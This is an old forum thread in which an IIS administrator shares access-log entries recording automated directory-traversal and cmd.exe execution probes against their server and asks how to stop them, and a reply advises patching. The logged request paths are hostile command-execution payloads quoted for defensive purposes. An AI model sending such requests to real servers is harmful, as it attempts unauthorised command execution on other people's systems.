|
|||||||||
|
|||||||||
| |||||||||
|
|
|
| |||||||||
 |
|
|
«
Previous Thread
|
Next Thread
»
|
Thread Tools | Search this Thread | Rate Thread | Display Modes |
Dev Shed Forums Sponsor:
|
|
Generate data entry and reporting .NET Web apps in minutes, straight from your database. Read our FREE whitepaper “Build Web 2.0 Applications Without Hand-Coding” Download now! |
|
#1
March 25th, 2005, 05:22 PM
|
|||
|
|||
|
Help with possible attacks
I've got some strange queries in my access log in IIS's W3SVC1 folder, they are as follows:
2005-03-25 15:15:09 68.122.141.112 - 192.168.1.254 80 GET /scripts/root.exe /c+dir 404 - 2005-03-25 15:15:09 68.122.141.112 - 192.168.1.254 80 GET /MSADC/root.exe /c+dir 404 - 2005-03-25 15:15:10 68.122.141.112 - 192.168.1.254 80 GET /c/winnt/system32/cmd.exe /c+dir 404 - 2005-03-25 15:15:10 68.122.141.112 - 192.168.1.254 80 GET /d/winnt/system32/cmd.exe /c+dir 404 - 2005-03-25 15:15:11 68.122.141.112 - 192.168.1.254 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 500 - 2005-03-25 15:15:11 68.122.141.112 - 192.168.1.254 80 GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 500 - 2005-03-25 15:15:11 68.122.141.112 - 192.168.1.254 80 GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 404 - 2005-03-25 15:15:12 68.122.141.112 - 192.168.1.254 80 GET /msadc/..%5c../..%5c../..%5c/..Á ../..Á ../..Á ../winnt/system32/cmd.exe /c+dir 500 - 2005-03-25 15:15:12 68.122.141.112 - 192.168.1.254 80 GET /scripts/..Á ../winnt/system32/cmd.exe /c+dir 500 - 2005-03-25 15:15:12 68.122.141.112 - 192.168.1.254 80 GET /scripts/winnt/system32/cmd.exe /c+dir 404 - 2005-03-25 15:15:13 68.122.141.112 - 192.168.1.254 80 GET /winnt/system32/cmd.exe /c+dir 404 - 2005-03-25 15:15:13 68.122.141.112 - 192.168.1.254 80 GET /winnt/system32/cmd.exe /c+dir 404 - 2005-03-25 15:15:14 68.122.141.112 - 192.168.1.254 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 500 - 2005-03-25 15:15:14 68.122.141.112 - 192.168.1.254 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 500 - 2005-03-25 15:15:14 68.122.141.112 - 192.168.1.254 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 500 - 2005-03-25 15:15:14 68.122.141.112 - 192.168.1.254 80 GET /scripts/..%2f../winnt/system32/cmd.exe /c+dir 500 - It appears they are attemping to get IIS to run a script and allow them access to what ever folder they are specifying in c+dir. . . If I'm dead wrong, please let me know. How can I combat queries like this? Thanks for your help!!
|
|
#2
March 26th, 2005, 01:09 AM
|
|||
|
|||
|
These are common robot attacks on your server, you must make sure all your updates are current and that you don't have any holes in your security settings.
__________________
====== Doug G ====== "Hide, hide witch! The good folk come to burn thee. Their keen enjoyment hid behind their gothic mask of duty." -Mark Clifton
|
|
| Viewing: Dev Shed Forums > System Administration > IIS > Help with possible attacks |
| Thread Tools | Search this Thread |
| Display Modes | Rate This Thread |
|
|
 |
|
|
Del.icio.us
Digg
Google
Spurl
Blink
Furl
Simpy
Y! MyWeb
Linear Mode
